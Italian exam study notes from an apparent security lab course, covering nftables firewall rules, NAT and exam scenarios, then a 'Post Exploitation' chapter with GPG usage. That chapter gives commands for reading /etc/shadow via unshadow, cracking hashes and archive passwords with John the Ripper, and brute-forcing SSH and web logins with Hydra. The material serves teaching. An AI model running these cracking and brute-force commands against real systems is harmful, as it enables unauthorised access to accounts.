Organizzazione dei File .nft Lavorare da riga di comando è rischioso. Per l'esame, è stato dato l'OK per strutturare il lavoro a file nel seguente modo:

- Crea un file **.nft** per ogni host coinvolto nella rete (es. **server.nft**, **client.nft**, **r1.nft**), in cui scrivere le regole specifiche da applicare a quella macchina.
- Crea un file di supporto **definizioni.nft** per dichiarare i vari indirizzi IP e le variabili globali usando la direttiva **define**. Questo ti salva la vita all'esame: se sbagli a digitare un IP o una subnet (es. **10.20.0.0/22**), lo correggi in un solo punto invece di dover ricontrollare 20 regole diverse:

```
define NET\_CLIENTS = 10.20.0.0/22
define SERVER_IP    = 192.168.1.7
```

Importante: Inizia **sempre** i file **.nft** con **flush ruleset** per svuotare la memoria del firewall ed evitare sovrapposizioni.

Struttura base del file (es. **client.nft):**

```
flush ruleset
```

```

table ip filter {
    chain input {
        type filter hook input priority filter; policy drop;
        # Regole qui
    }
    chain forward {
        type filter hook forward priority filter; policy drop;
        # Regole qui
    }
    chain output {
        type filter hook output priority filter; policy accept;
        # Regole qui
    }
}

```

6.3 Cheat Sheet: Anatomia di una Regola e Porte

Una regola `nftables` si costruisce leggendola da sinistra a destra, procedendo dal livello fisico (interfacce) fino al livello applicativo (porte), secondo questa struttura rigorosa:

[Interfaccia] + [Famiglia L3] + [Protocollo L4] + [Porta] + [Stato] +
[Verdetto]

- **Famiglia L3 (ip o ip6):** Parola chiave **obbligatoria** prima di indicare indirizzi IP sorgente (`saddr`) o destinazione (`daddr`).
- **Protocollo L4 (tcp o udp):** Parola chiave **obbligatoria** prima di indicare porte sorgente (`sport`) o destinazione (`dport`).

Esempio di costruzione: Traffico in ingresso da `eth1`, diretto all'IP `10.0.0.1`, protocollo TCP, verso la porta web, già stabilito:

```

iif eth1 ip daddr 10.0.0.1 tcp dport 80 ct state established
accept

```

6.3.1 Porte Comuni da Esame

Le porte non vengono fornite nella traccia, devono essere conosciute a memoria:

Servizio	Protocollo	Porta
HTTP (Web in chiaro)	tcp	80
HTTPS (Web cifrato)	tcp	443
DNS (Risoluzione Nomi)	udp	53
SSH (Amministrazione)	tcp	22
PostgreSQL (Database)	tcp	5432
MySQL / MariaDB (Database)	tcp	3306

6.4 La Regola d'Oro delle Interfacce (iif / oif)

Nei testi d'esame il professore indica sempre attraverso quale interfaccia deve transitare il traffico. Usare il selettore sbagliato nella catena sbagliata genera un **errore di sintassi immediato** bloccando il firewall.

Catena	Usa iif?	Usa oif?	Motivazione
input	SI	NO	Il pacchetto è destinato a noi, l'interfaccia di uscita non esiste.
output	NO	SI	Il pacchetto viene generato da noi, l'interfaccia di ingresso non esiste.
forward	SI	SI	Il pacchetto attraversa il router. Si usano entrambe accoppiate (es. <code>iif eth1 oif eth2</code>).
prerouting (DNAT)	SI	NO	Il routing non è ancora avvenuto, il kernel non sa da dove uscirà il pacchetto.
postrouting (SNAT)	NO	SI	Il pacchetto è già stato instradato e sta per uscire, l'interfaccia di origine è irrilevante.

6.5 Regole Fondamentali: Loopback e Conntrack

6.5.1 Regola 1: Il Loopback (Sempre Necessario sugli Endpoint)

Se imposti una policy `drop` su una macchina endpoint (Client o Server), blocchi anche il traffico di loopback (127.0.0.1). Il sistema operativo e i processi interni (es. database locale che parla col webserver locale) smetteranno di funzionare o genereranno errori anomali.

Quando metterlo Va messo **sempre** nelle catene `input` e `output` degli endpoint. Sul router è meno vitale se fa solo `forward`, ma è *best practice* inserirlo ovunque.

```
# In input
iif "lo" accept
# In output
oif "lo" accept
```

6.5.2 Regola 2: Stateful Filtering (Connection Tracking)

Se la tua macchina fa una richiesta legittima verso l'esterno, il server remoto risponderà. Se non hai una regola per far rientrare le risposte, la policy `drop` le scarcerà. Usiamo il Connection Tracking (`ct state`) per riconoscere il traffico di ritorno.

Il falso mito di UDP Molti credono che, essendo UDP (es. DNS su porta 53) un protocollo *connectionless* (senza stato), non si possa applicare il tracking. Falso! Il Connection Tracker di Linux (netfilter) crea dei **"pseudo-stati"** virtuali in memoria.

Pertanto, puoi e **devi** usare `ct state established` per far rientrare le risposte UDP esattamente come faresti per il TCP!

```
ct state established,related accept
```

- **established**: Traffico appartenente a una connessione TCP bidirezionale o a un "pseudo-stato" UDP già avviato da noi.
- **related**: Traffico accessorio ma legato a connessioni note (es. messaggi d'errore ICMP).

NOTA SULLA SICUREZZA Se stai proteggendo un Endpoint (Client o Server) e non un Router, la sua catena **forward deve avere policy drop**. Gli endpoint non devono mai inoltrare traffico per conto di terzi.

6.5.3 La Regola Complementare (Tabella Filter)

Nella tabella `filter`, se la policy è `drop`, ogni comunicazione richiede **sempre due regole**: una per chi inizia la connessione e una per la risposta.

Scenario: Webserver interno fa query DNS verso Internet.

1. **L'Andata (Inizializzazione)**: Usa lo stato `new` (o ometti lo stato). Definisci la porta di destinazione (`dport`).

```
# Webserver (Output): Esco verso Internet
oif eth1 udp dport 53 accept
# Router (Forward): Da LAN a WAN
iif eth1 oif eth2 udp dport 53 accept
```

2. **Il Ritorno (Complementare)**: Devi invertire le interfacce, usare `sport` invece di `dport`, e aggiungere tassativamente `ct state established`.

```
# Router (Forward): Da WAN a LAN, risposta DNS
iif eth2 oif eth1 udp sport 53 ct state established accept
# Webserver (Input): Rientro dal router
iif eth1 udp sport 53 ct state established accept
```

6.6 Match e Verdict

In `nftables` il destino di un pacchetto è deciso dai verdetti:

- **Terminating**: Interrompono l'analisi della catena (`accept`, `drop`).
- **Non-terminating**: Annotano un evento e passano alla regola successiva (`log`, `counter`). **Importante**: i contatori non sono impliciti; se vuoi contare quante volte una regola viene colpita, devi scrivere `counter` esplicitamente.

Logica di Posizionamento e Scrittura Regole Negli esercizi d'esame devi sempre chiederti *su quale host* va posizionata la regola:

- **Bidirezionalità:** Il traffico di rete è bidirezionale. Se scrivi una regola nella catena `input` per permettere la ricezione, devi prevedere la relativa regola in `output` affinché la macchina possa rispondere ai pacchetti.
- **Copia/Incolla e Inversione:** Una volta scritte le due regole per una macchina (es. il client), puoi copiare il file e adattarlo per l'host diametralmente opposto (es. `r1`). Basterà spostare la condizione del `ct state` e scambiare le `d` (destination) in `s` (source) e viceversa.
- **Interfacce (Attenzione ai Tranelli!):** Il professore specifica quasi sempre da quale interfaccia passa il traffico. Ci sono due regole d'oro da non dimenticare:
 1. Usa **sempre** `ip` a sulle macchine (Client, Server, Router) prima di scrivere le regole. Le interfacce come `eth1` o `eth2` appartengono spesso al router, mentre i nodi finali potrebbero usare `eth0` o `ens33`. Non ipotizzare i nomi, verificali!
 2. Usa rigorosamente `iif` (Input Interface) solo nelle catene `input` o `prerouting` (il pacchetto sta entrando, non può avere una `oif`) e usa `oif` (Output Interface) solo nelle catene `output` o `postrouting`.

6.6.1 Sintassi per Match Comuni

Consentire l'accesso al servizio SSH contando i pacchetti (`dport = Destination Port`):

```
tcp dport 22 counter accept
```

Bloccare in ingresso le richieste di ping da un IP malevolo (`saddr = Source Address`; `type echo-request` identifica la specifica richiesta di ping del protocollo ICMP):

```
ip saddr 192.168.1.50 icmp type echo-request drop
```

6.6.2 Strutture Avanzate: Set e VMAP

Per evitare di scrivere decine di regole simili, `nftables` offre strutture compatte:

I Set: Raggruppano elementi omogenei tra parentesi graffe. Se la porta di destinazione è una di quelle elencate, la regola fa match.

```
tcp dport { 80, 443, 8000 } accept
```

Le VMAP (Verdict Maps): Funzionano come uno switch-case. Associano istantaneamente un match a un verdetto o a una catena dedicata. Nell'esempio sotto, separiamo l'ispezione smistando il traffico verso catene custom:

```
ip protocol vmap { tcp : jump gestione_tcp, udp : jump  
gestione_udp }
```

6.6.3 Eliminazione di una Regola

Se ci si accorge di aver commesso un errore nella configurazione, il metodo di risoluzione cambia radicalmente a seconda dell'approccio che si sta utilizzando:

1. **Approccio dichiarativo (a file):** È il più semplice. Se l'errore è dentro il file `fw.nft`, basta modificarlo con l'editor di testo e ricaricarlo interamente con `nft -f fw.nft`. Poiché la prima istruzione del file è `flush ruleset`, il kernel cancellerà tutto il vecchio ruleset errato prima di applicare quello corretto, ripartendo da zero senza stratificare i comandi.
2. **Approccio interattivo (da terminale):** Se si vuole eliminare una specifica regola al volo senza toccare il file o azzerare il resto del firewall, non è possibile farlo richiamando il testo della regola. È necessario usare l'**Handle**.

L'handle è un identificativo numerico univoco che il kernel Linux assegna automaticamente a ogni singola regola nel momento esatto in cui viene creata.

Step 1: Trovare l'handle della regola

Per conoscere l'indice numerico della regola che si intende rimuovere, occorre chiedere a `nft` di listare la tabella o la catena aggiungendo il flag `-a` (o `-handle`):

```
nft -a list table ip filter
```

Il kernel risponderà mostrando il ruleset corrente, appendendo in fondo a ogni riga il relativo numero di handle:

```
table ip filter {  
    chain input {  
        type filter hook input priority 0; policy drop;  
        tcp dport 22 counter accept # handle 4  
        ip saddr 192.168.1.50 icmp type echo-request drop #  
        handle 5  
    }  
}
```

Step 2: Rimuovere la regola tramite handle

Una volta individuato l'ID (ad esempio l'handle 5 per eliminare il blocco del ping), si invoca il comando `delete rule` specificando nell'ordine: la famiglia di protocolli (`ip`), il nome della tabella (`filter`), il nome della catena (`input`) e la keyword `handle` seguita dal numero:

```
nft delete rule ip filter input handle 5
```

6.7 Network Address Translation (NAT)

Il NAT entra in gioco sui Router per manipolare gli indirizzi IP dei pacchetti in transito. Richiede la creazione di una tabella apposita (chiamata solitamente `nat`) con policy di default su `accept`, in quanto il NAT manipola ma non deve bloccare il traffico.

Le due catene base del NAT intercettano il traffico in due momenti opposti:

- **prerouting**: Appena il pacchetto entra nel router dall'esterno.
- **postrouting**: Un attimo prima che il pacchetto esca dal router verso l'esterno.

```
table ip nat {
    chain prerouting {
        type nat hook prerouting priority dstnat; policy accept;
    }
    chain postrouting {
        type nat hook postrouting priority srcnat; policy accept;
    }
}
```

Il NAT ha "memoria": Nessuna regola complementare A differenza della tabella **filter** (dove devi autorizzare l'andata e usare **ct state established** per autorizzare esplicitamente il ritorno), la tabella **nat** viene attraversata **SOLO dal primo pacchetto** di una nuova connessione. Da quel momento in poi, il motore di tracciamento (conntrack) prende in carico la traduzione in modo automatico.

- Se scrivi una regola di DNAT per il traffico in ingresso, **NON serve** scrivere una regola SNAT per la risposta.
- Se scrivi una regola di SNAT per il traffico in uscita, **NON serve** scrivere una regola DNAT per la risposta.

6.7.1 DNAT (Destination NAT / Port Forwarding)

Si applica nel **prerouting**. Modifica l'IP di destinazione. Serve per esporre su Internet un servizio che in realtà si trova in una rete privata nascosta.

Esempio: Inoltriamo il traffico in arrivo dall'esterno sulla porta 222 verso il server interno 10.0.0.10 sulla sua porta 22.

```
tcp dport 222 dnat to 10.0.0.10:22
```

6.7.2 SNAT / Masquerade (Source NAT)

Si applica nel **postrouting**. Modifica l'IP sorgente. Serve per far navigare le macchine della LAN privata su Internet, mascherando i loro IP con l'IP pubblico del router.

Se il router ha un IP Pubblico Statico (es. fisso a 203.0.113.5), usi l'istruzione esatta **snat to** (oif sta per **Output Interface**):

```
ip saddr 10.0.0.0/24 oif "eth0" snat to 203.0.113.5
```

Se il router ha un IP Pubblico Dinamico (es. assegnato in DHCP), l'IP statico fallirebbe. Usi quindi **masquerade**: il firewall leggerà automaticamente l'IP della scheda **eth0** in quel preciso momento e lo applicherà.

```
oif "eth0" masquerade
```

Mascheramento e Regole Simmetriche Se la traccia ti chiede che una connessione passi per un router e venga mascherata come se provenisse da esso:

- I router intermedi non trattano direttamente i pacchetti a livello applicativo: devi inserire le classiche 2 regole di inoltro nella tabella **filter**, catena **forward** (una per l'andata, una per il ritorno).
- Successivamente, applicherai il mascheramento con un'unica regola nella catena **postrouting** della tabella **nat**. Usa **priority srcnat**.
- **Eccezione NAT:** Le regole di NAT sono le UNICHE che non richiedono la scrittura esplicita di regole simmetriche di ritorno, in quanto il connection tracker (**ct**) interno al kernel le gestisce in automatico.

ATTENZIONE VITALE: Ordine tra NAT e Filtri Forward Il Port Forwarding (DNAT) traduce la destinazione **prima** del routing (in **prerouting**). Questo ha un'implicazione fondamentale che fa fallire molti esami:

Se fai un DNAT per esporre il server interno 192.168.1.7 (mascherato pubblicamente magari con l'IP del router 130.136.1.1), ricordati che nella tabella **filter**, catena **forward**, la regola di accettazione **deve puntare all'IP privato interno del server** (192.168.1.7) e **NON** a quello pubblico! Quando il pacchetto arriva alla catena **forward**, l'indirizzo di destinazione è già stato tradotto in quello privato.

6.8 Esempi Pratici e Scenari d'Esame (Es. 15 Aprile)

Oltre a conoscere la sintassi, in esame dovrai risolvere casistiche specifiche. Di seguito due esempi tratti direttamente dai laboratori:

6.8.1 Scenario A: Port Forwarding su porta non standard

Obiettivo: Il servizio SSH di **s2** deve essere raggiungibile solo dal **client**, che lo può raggiungere come se fosse esposto da **r2** sulla porta 222.

Questo scenario richiede una **DNAT** (Destination NAT) sul router intermedio **r2**. Il pacchetto originale ha come destinazione la porta 222 di **r2**; il router lo intercetta e cambia la destinazione sull'IP di **s2** e sulla porta standard 22.

```
# Sul router r2: Tabella NAT, catena prerouting
tcp dport 222 dnat to $s2:22
```

Attenzione: Non dimenticare che il NAT traduce l'indirizzo ma non bypassa i filtri. Dovrai prevedere anche una regola nella catena **forward** (tabella **filter**) di **r2** per far passare fisicamente il traffico modificato verso l'IP di **s2**.

6.8.2 Scenario B: Isolamento e Filtrazione Granulare

Obiettivo: I servizi diversi da SSH su **s1** devono essere raggiungibili solo da **s2**, e viceversa. Il resto deve essere scartato.

Questa è la classica applicazione della regola *"Default Deny"*. Imposti la policy generale di forwarding su **drop**, dopodiché escludi chirurgicamente la porta 22 (non permessa per questi servizi) e autorizzi il resto del traffico unicamente tra quei due indirizzi IP.

```
# Sul router intermedio (tabella filter, catena forward)
ip saddr $s1 ip daddr $s2 tcp dport != 22 ct state new,
    established accept
ip saddr $s2 ip daddr $s1 tcp dport != 22 ct state new,
    established accept
```

Capitolo 7 - Post Exploitation

Una volta completati gli esercizi principali d'esame, possono essere richieste alcune attività accessorie finali. Queste procedure non costituiscono vettori di attacco autonomi, ma rappresentano argomenti integrativi e complementari trattati a lezione.

7.1 Password Cracking (John the Ripper)

John the Ripper è uno dei tool di password cracking più versatili e utilizzati nell'ambito dell'offensive security. Il suo scopo principale è individuare le password in chiaro a partire dai loro hash crittografici, calcolando l'hash di milioni di parole candidate e confrontandolo ad altissima velocità con l'impronta da decifrare.

7.1.1 Casi d'Uso Operativi

1. Cracking delle Credenziali di Sistema

In uno scenario post-escalation su una macchina Linux compromessa, se si ottengono i privilegi di root o l'accesso a backup sensibili, è possibile esfiltrare i file `/etc/passwd` e `/etc/shadow` (contenente gli hash effettivi delle password). Per darli in pasto a John, i due file devono essere unificati.

- **Fase di Unshadowing:** Il comando `unshadow` unisce le informazioni strutturali degli utenti con i rispettivi hash crittografici in un unico file compatibile.

```
unshadow /etc/passwd /etc/shadow > brute.txt
```

- **Avvio del Cracking:** Una volta generato `brute.txt`, si avvia l'attacco a dizionario specificando la wordlist da utilizzare.

```
john --wordlist=/usr/share/wordlists/rockyou.txt brute.txt
```

NOTA OPERATIVA Se John fallisce nel riconoscimento automatico dell'algoritmo di hashing (es. genera errori o rallentamenti), è consigliabile forzare il formato corretto tramite il flag dedicato (per i sistemi Linux moderni basati su SHA-512 si usa `-format=sha512crypt`).

2. Cracking di Archivi Protetti (ZIP / RAR)

Durante la fase di post-exploitation è comune rinvenire archivi compressi protetti da password. John non è in grado di interagire direttamente con il file compresso; è necessario prima estrarre l'hash che convalida la chiave di cifratura dell'archivio.

- **Estrazione Hash da file ZIP:**

```
zip2john file.zip > hash.txt
```

- **Estrazione Hash da file RAR:**

```
rar2john file.rar > hash.txt
```

3. Cracking di Servizi di Rete (L'alternativa THC Hydra)

Se l'obiettivo non è un file di hash locale, ma un servizio di rete vivo (es. login HTTP, SSH, FTP), oppure se l'esercizio richiede o suggerisce l'uso di **Hydra** al posto di John the Ripper, la logica è identica, ma i comandi diretti per il brute-forcing con dizionario sono i seguenti:

```
# Esempio contro servizio SSH conoscendo l'utente (es. admin)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<
    IP_TARGET>

# Esempio contro form web POST (richiede la sintassi specifica
  dei campi)
hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP_TARGET>
    http-post-form "/login.php:user=~USER~&pass=~PASS~:F=Login
    Failed"
```

Ottenuto il file `hash.txt`, si procede al cracking con la sintassi standard:

```
john --wordlist=<wordlist> hash.txt
```

NOTA SUL TEMPO In un contesto d'esame, un attacco di brute-force puro richiede troppo tempo. Verranno invece fornite dal docente delle wordlist specifiche e ridotte (es. `dutch_wordlist`), oppure si dovranno impiegare dizionari minuscoli e mirati generati al volo raschiando il testo dei siti web target tramite il comando `cewl`.

7.2 Crittografia Applicata (GPG)

GPG (GNU Privacy Guard) è l'implementazione open-source dello standard OpenPGP. Viene utilizzato per applicare i concetti di crittografia asimmetrica (a chiave pubblica) direttamente su file e documenti, garantendo le proprietà di **riservatezza**, **integrità** e **autenticità**.

7.2.1 Memento Teorico-Pratico sulle Chiavi

Ogni attore (studente e professore) possiede una propria e distinta coppia di chiavi: una **Chiave Pubblica** (da distribuire liberamente) e una **Chiave Privata** (segreta, protetta da passphrase e mai condivisa). Le email fungono da identificativi univoci nel keyring: `-u <email>` indica *chi firma*, `-r <email>` indica *per chi si cifra*.

- **Firma Digitale (Autenticità/Integrità):** Si usa la **propria chiave privata** per firmare. Il prof verifica con la **tua chiave pubblica**.
- **Cifratura (Riservatezza):** Si usa la **chiave pubblica del prof** per cifrare. Solo il prof, con la sua chiave privata, può decifrare.

NOTA Il flag `--armor` trasforma il file in uscita (che sia una chiave o un documento cifrato) da binario grezzo a testo ASCII (Base64). È essenziale per il trasporto via email o form web: un file binario trasmesso come testo può corrompersi, rendendo la cifratura indecifrabile.

7.2.2 Caso d'Uso: La Consegna dell'Esame

Nel contesto d'esame, GPG viene richiesto come procedura amministrativa obbligatoria per validare e blindare il report finale in PDF prima dell'invio.

1. Generazione della propria coppia di chiavi

Per creare da zero la propria identity crittografica si utilizza il comando:

```
gpg --full-gen-key
```

Il wizard interattivo richiede: tipo di algoritmo (RSA), dimensione chiave (≥ 2048 bit), scadenza, dati utente (nome, email istituzionale) e passphrase di protezione.

2. Importazione della chiave pubblica del professore

Per poter cifrare un file destinato al docente, occorre prima aggiungere la sua chiave pubblica nel keyring locale. Il docente fornirà un file (es. `chiave_prof.pub`):

```
gpg --import chiave_prof.pub
```

3. Esportazione della propria chiave pubblica (da consegnare al prof)

```
gpg --export --armor tua_email@stud.it > mia_chiave.asc
```

Il flag `--armor` produce un file di testo ASCII incollabile in qualsiasi form o email senza rischio di corruzione.

4. Firma e Cifratura del report (comando “Combo”)

Invece di operare in due passi separati, si eseguono firma e cifratura in un unico comando:

```
gpg --encrypt --sign --armor -u tua_email@stud.it -r  
email_prof@unibo.it report.pdf
```

Spiegazione dei flag:

- `--sign`: Firma il documento con la tua chiave privata (identificata da `-u`).
- `--encrypt`: Cifra il documento con la chiave pubblica del prof (identificata da `-r`).
- `--armor`: Converte il pacchetto risultante in testo ASCII, sicuro da inviare via email o form.
- `-u <tua_email>`: Identifica esplicitamente quale tua chiave privata usare per firmare.
- `-r <email_prof>`: Identifica esplicitamente quale chiave pubblica usare per cifrare.

L'ordine interno delle operazioni è: prima firma, poi cifratura, poi conversione ASCII.

Il risultato è il file `report.pdf.asc`. Al professore vanno consegnati **questo file** e **`mia_chiave.asc`**: il prof decifrerà il documento con la sua chiave privata e verificherà la firma usando la tua chiave pubblica.